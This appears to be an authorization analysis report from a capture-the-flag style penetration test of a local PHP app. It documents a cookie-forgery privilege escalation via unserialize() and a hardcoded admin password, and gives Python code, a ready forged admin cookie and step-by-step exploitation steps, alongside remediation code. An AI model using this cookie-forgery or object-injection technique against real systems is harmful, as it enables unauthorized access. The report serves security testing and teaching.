# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence vertical privilege escalation vulnerability identified and documented. The vulnerability enables trivial escalation from anonymous user to admin role, granting access to the flag (sensitive data). This finding has been passed to the exploitation phase via the machine-readable exploitation queue.  
- **Purpose of this Document:** This report provides the strategic context, architectural intelligence, and technical analysis necessary to effectively exploit the authorization vulnerability in the queue. It is intended to be read alongside the JSON deliverable.

**Critical Finding:** The application implements a fundamentally broken authorization model where authentication and authorization decisions are based entirely on client-controlled cookie data. No server-side session management, signature verification, or role validation exists. An attacker can trivially forge cookies to impersonate the admin user and access privileged functionality.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Client-Side Authorization State (Vertical)
- **Description:** The application stores authentication credentials (username and password) in a client-controlled cookie, then deserializes this data and uses it directly for authorization decisions. No server-side session storage, signature verification, or integrity checks exist to prevent cookie manipulation.
- **Implication:** Any user can craft a cookie containing admin credentials, effectively granting themselves administrative privileges. This violates the fundamental security principle that authorization decisions must be based on server-controlled state, not client-provided data.
- **Representative:** AUTHZ-VULN-01
- **Technical Root Cause:** 
  - Line 82: `$auth = unserialize(base64_decode($_COOKIE['creds']));` - Deserializes untrusted client data without validation
  - Line 83: `if ($auth['username'] == 'admin' && $auth['password'] == $password)` - Authorization check uses values from deserialized client data
  - No cryptographic signature (HMAC, JWT signature) to ensure cookie integrity
  - No server-side session store to maintain authoritative authentication state

### Pattern 2: Insecure Deserialization in Authentication Flow (Vertical)
- **Description:** The application uses PHP's `unserialize()` function on user-controlled cookie data. This is a well-known dangerous pattern (CWE-502) that can lead to object injection attacks if exploitable classes with magic methods exist in the PHP environment.
- **Implication:** Beyond the authentication bypass, this pattern creates potential for remote code execution if the attacker can craft serialized objects that trigger dangerous operations in `__wakeup()`, `__destruct()`, or other magic methods. Even without RCE, the attacker can manipulate the data structure to bypass authorization.
- **Representative:** AUTHZ-VULN-01 (same vulnerability, different exploitation vector)
- **Technical Root Cause:**
  - Deserialization of untrusted data without type validation
  - No allowlist of acceptable object types
  - No validation of deserialized structure before use

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture:
- **Session Type:** Custom cookie-based authentication (NOT PHP sessions)
- **Cookie Name:** `creds`
- **Cookie Format:** Base64-encoded serialized PHP array
- **Cookie Structure:** `array('username' => $input, 'password' => $input)`
- **Example Cookie Value:** `YToyOntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO3M6ODoicGFzc3dvcmQiO3M6NDoidGVzdCI7fQ==`
- **Decoded Structure:** `a:2:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";}`
- **Security Flags:** None - HttpOnly, Secure, and SameSite flags are all missing
- **Integrity Protection:** None - no HMAC, signature, or encryption
- **Critical Finding:** The application has NO server-side session storage. All authentication state lives in the client-controlled cookie. This is the architectural root cause enabling trivial privilege escalation.

### Role/Permission Model:
- **Roles Identified:** Three implicit roles exist:
  1. **anonymous** (no cookie present) - Can view login form only
  2. **authenticated** (cookie with non-admin credentials) - Can see their username with rejection message
  3. **admin** (cookie with username='admin' and correct password) - Can access flag
- **Role Storage:** Client-side only (in the `creds` cookie)
- **Role Check Implementation:** Inline conditional at line 83: `if ($auth['username'] == 'admin' && $auth['password'] == $password)`
- **Hardcoded Admin Password:** `kl!RtYuUUig664ds32AKA87` (defined at line 79)
- **Critical Finding:** Role checks occur AFTER deserialization of client-controlled data. There is no server-side role database or session store to validate against. The application trusts whatever role the client claims via the cookie.

### Resource Access Patterns:
- **Privileged Resource:** The flag value (stored in variable `$flag` at line 78, displayed at line 85)
- **Access Control:** Flag is displayed only within the true branch of the admin check (line 83)
- **Endpoint Pattern:** Single endpoint `/index.php` handles all functionality (login form, authentication, authorization)
- **Parameter Manipulation:** The application does not use URL parameters or path parameters. All state is in the cookie.
- **Critical Finding:** While the flag is conditionally displayed based on the authorization check, the check itself can be trivially bypassed by manipulating the cookie that feeds into it.

### Cookie Manipulation Mechanics:
**Creating an Admin Cookie:**
```python
import base64

# Method 1: Craft the serialized payload directly
admin_payload = 'a:2:{s:8:"username";s:5:"admin";s:8:"password";s:23:"kl!RtYuUUig664ds32AKA87";}'
malicious_cookie = base64.b64encode(admin_payload.encode()).decode()

# Method 2: Use PHP serialization (if available)
import phpserialize
admin_dict = {'username': b'admin', 'password': b'kl!RtYuUUig664ds32AKA87'}
serialized = phpserialize.dumps(admin_dict)
malicious_cookie = base64.b64encode(serialized).decode()

# Result: Set 'creds' cookie to the malicious_cookie value
```

**Cookie Exploitation Steps:**
1. Navigate to `http://localhost:42759/index.php`
2. Open browser developer tools → Application/Storage → Cookies
3. Create new cookie:
   - Name: `creds`
   - Value: `YToyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjIzOiJrbCFSdFl1VVVpZzY2NGRzMzJBS0E4NyI7fQ==`
   - Domain: `localhost`
   - Path: `/`
4. Refresh the page
5. Flag is displayed (vertical privilege escalation successful)

**Why This Works:**
- Line 82 deserializes the cookie: `$auth = unserialize(base64_decode($_COOKIE['creds']));`
- `$auth` now contains `['username' => 'admin', 'password' => 'kl!RtYuUUig664ds32AKA87']`
- Line 83 check passes: `if ($auth['username'] == 'admin' && $auth['password'] == $password)`
- Line 85 executes: Flag is displayed

### Authentication Bypass via Type Juggling (Alternative Vector):
The application uses loose comparison (`==`) instead of strict comparison (`===`) at line 83. In PHP, this can enable type juggling attacks:
```php
// Line 83: if ($auth['username'] == 'admin' && $auth['password'] == $password)
```

**Potential Type Juggling:**
- If `$auth['username']` is set to boolean `true`, it might match string `'admin'` depending on PHP's type coercion rules
- If `$auth['password']` is set to an array or object, comparison behavior might be unpredictable

**Exploitation Complexity:** Medium - Requires understanding PHP type juggling behavior. However, this is unnecessary given the trivial cookie manipulation vector already exists.

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have robust, properly-placed guards (or are not security-relevant). They are **low-priority** for further testing.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `POST /index.php` (login submission) | N/A | Public endpoint by design, creates cookie from user input | SAFE (expected behavior) |
| `GET /static/*.{jpg,png}` | N/A | Public static assets, no authentication required | SAFE (expected behavior) |
| Display of username at line 87 | htmlentities() at line 87 | XSS protection via output encoding | SAFE (XSS mitigated, though username itself is client-controlled) |

**Note:** The login form submission endpoint (POST /index.php) is intentionally public and does not require authorization. It accepts any credentials and creates a cookie - this is expected behavior for a login form. The vulnerability is not in credential acceptance, but in how the resulting cookie is trusted without validation.

## 5. Analysis Constraints and Blind Spots

### Unanalyzed Attack Vectors:

**PHP Object Injection Gadget Chains:**
- The insecure deserialization at line 82 creates potential for PHP object injection attacks
- **Constraint:** Without access to a complete inventory of all PHP classes loaded in the runtime environment (built-in extensions, bundled libraries), I cannot definitively identify exploitable gadget chains
- **What Was Checked:** The application source code (index.php) contains no custom classes with exploitable magic methods
- **Blind Spot:** PHP extensions loaded at runtime (see phpinfo: 35 extensions loaded including openssl, zip, PDO, etc.) may contain classes with dangerous `__wakeup()`, `__destruct()`, or `__toString()` methods that could be chained for remote code execution
- **Risk Assessment:** While RCE via object injection is theoretically possible, the authentication bypass is already trivial and does not require this advanced technique
- **Recommendation:** Exploitation team should attempt basic object injection payloads, but should not invest significant time in gadget chain research when cookie manipulation achieves the same goal

### Environment-Specific Behaviors:

**PHP Version and Configuration Dependencies:**
- The application runs on PHP 5.6.40 (6 years past EOL)
- **Constraint:** Some type juggling behaviors and deserialization quirks may vary between PHP versions
- **What Was Verified:** The core vulnerability (unsigned cookie authentication) is version-independent
- **Blind Spot:** Edge cases in type comparison (`==` vs `===`) may behave differently in PHP 5.6 vs modern PHP
- **Risk Assessment:** Low - The primary exploitation vector (cookie manipulation) is not affected by version differences

### Network-Level Defenses:

**Potential External Controls Not Visible in Code:**
- **WAF/Proxy Rules:** If a Web Application Firewall or reverse proxy sits in front of the application, it might inspect or validate cookies
- **Constraint:** Static code analysis cannot detect network-layer security controls
- **What Was Checked:** The docker-compose.yml shows the application is exposed on port 80 with no reverse proxy configuration
- **Blind Spot:** Runtime environment might have additional network security appliances
- **Verification Method:** Exploitation phase will reveal if cookie manipulation is blocked by external controls
- **Risk Assessment:** Low - The reconnaissance report indicates no reverse proxy, WAF, or security headers are present

### Session Fixation Defenses:

**Session Regeneration:**
- **Not Applicable:** The application does not use PHP's built-in session management (`session_start()`, `session_regenerate_id()`)
- **Finding:** The custom cookie-based system has no session regeneration mechanism
- **Implication:** Session fixation attacks may be possible, but are irrelevant given the cookie manipulation vulnerability

### Rate Limiting and Brute Force Protection:

**Login Attempt Throttling:**
- **Constraint:** Code analysis cannot detect infrastructure-level rate limiting (e.g., nginx rate limiting, fail2ban)
- **What Was Checked:** No application-level rate limiting logic exists in index.php
- **Blind Spot:** The web server (Apache) or Docker container might implement connection limits
- **Risk Assessment:** Low - Rate limiting is irrelevant when authentication can be bypassed via cookie manipulation without any login attempts

## 6. Architecture and Design Flaws

### Fundamental Design Flaw: Client-Side Authorization

The application's architecture violates the foundational security principle that **authorization decisions must be based on server-controlled state, not client-provided data**.

**Secure Architecture Pattern:**
```
Client → Server
   ↓
1. Client submits credentials
2. Server validates credentials against database
3. Server creates session with unique session ID
4. Server stores session data (user ID, role) in server-side store (database, Redis, $_SESSION)
5. Server sends only session ID to client in signed cookie
6. Client includes session ID in subsequent requests
7. Server looks up session ID in server-side store
8. Server retrieves authoritative role from server-side data
9. Server makes authorization decision based on server-controlled role
```

**This Application's Broken Pattern:**
```
Client → Server
   ↓
1. Client submits credentials
2. Server accepts ANY credentials without validation
3. Server serializes credentials and sends back to client in cookie
4. Client includes credentials in subsequent requests
5. Server deserializes client-provided credentials
6. Server makes authorization decision based on client-provided role
7. ⚠️ Client controls the authorization outcome
```

**Why This is Fundamentally Broken:**
- The server never establishes authoritative control over authentication state
- The client can claim to be any user/role by manipulating the cookie
- There is no server-side "source of truth" to validate against
- The cookie contains the very data used to make authorization decisions

### Secondary Design Flaw: Insecure Deserialization as Authentication Mechanism

Using `unserialize()` on untrusted data is a well-known anti-pattern (CWE-502). The application combines this with authentication, creating a "double vulnerability":

1. **Authentication Bypass:** Attacker manipulates deserialized data structure
2. **Object Injection:** Attacker crafts malicious object to exploit magic methods

**Why Deserialization Should Never Be Used for Authentication:**
- Serialization is designed for data storage, not security
- No integrity protection is built into PHP serialization
- Object injection attacks are a well-documented PHP vulnerability class
- Modern authentication uses cryptographic tokens (JWT with signatures, encrypted session cookies, HMAC-protected data)

### Architectural Recommendation:

**Minimal Fix (Still Not Recommended for Production):**
```php
// Use HMAC to sign cookies
$secret = 'random_secret_key_32_bytes_minimum';
$data = serialize(['username' => $username, 'role' => $role]);
$hmac = hash_hmac('sha256', $data, $secret);
$cookie_value = base64_encode($data . '|' . $hmac);

// Verification
list($data, $received_hmac) = explode('|', base64_decode($_COOKIE['creds']));
$calculated_hmac = hash_hmac('sha256', $data, $secret);
if (!hash_equals($calculated_hmac, $received_hmac)) {
    die('Cookie tampered');
}
```

**Proper Fix (Production-Ready):**
```php
// Use PHP sessions
session_start();
$_SESSION['user_id'] = $user_id_from_database;
$_SESSION['role'] = $role_from_database;

// Verification
session_start();
if ($_SESSION['role'] === 'admin') {
    // Grant admin access
}
```

## 7. Code Quality and Security Hygiene Issues

### Loose Comparison Operator (Line 83)
```php
if ($auth['username'] == 'admin' && $auth['password'] == $password)
```
**Issue:** Uses `==` (loose comparison) instead of `===` (strict comparison)
**Impact:** Potential type juggling vulnerabilities
**Recommendation:** Use `===` for security-critical comparisons

### Hardcoded Credentials (Line 79)
```php
$password = "kl!RtYuUUig664ds32AKA87";
```
**Issue:** Admin password hardcoded in source code
**Impact:** Password visible to anyone with source code access, cannot be rotated without code deployment
**Recommendation:** Store passwords hashed in database, load via environment variables

### Missing Security Headers
**Issue:** No security-related HTTP headers are set
**Impact:** Missing defense-in-depth protections (HSTS, CSP, X-Frame-Options, etc.)
**Recommendation:** Configure Apache or add PHP headers for security

### No CSRF Protection
**Issue:** Login form lacks CSRF token (line 71-75)
**Impact:** Cross-site request forgery attacks possible
**Recommendation:** Implement CSRF tokens for state-changing operations

### Error Handling
**Issue:** No explicit error handling for deserialization failures
**Impact:** If cookie is malformed, PHP may generate errors that leak information
**Recommendation:** Wrap `unserialize()` in try-catch or check return value

---

## Conclusion

This application contains a **critical vertical privilege escalation vulnerability (AUTHZ-VULN-01)** that enables any user to gain administrative access by manipulating a client-controlled cookie. The vulnerability is rated **HIGH confidence** due to:

1. **Clear code path:** Source-to-sink trace from user input to privileged side effect is unambiguous
2. **No defensive mechanisms:** Zero security controls exist to prevent cookie manipulation
3. **Trivial exploitation:** Requires only basic HTTP request manipulation, no advanced techniques
4. **Confirmed external exploitability:** Accessible via public HTTP without internal network access

The root cause is an architectural flaw where authorization decisions are based on client-provided data rather than server-controlled state. This represents a fundamental violation of secure authentication and authorization principles.

**Next Phase:** The exploitation queue (authz_exploitation_queue.json) contains actionable exploitation guidance for the exploitation team to weaponize this vulnerability and retrieve the flag.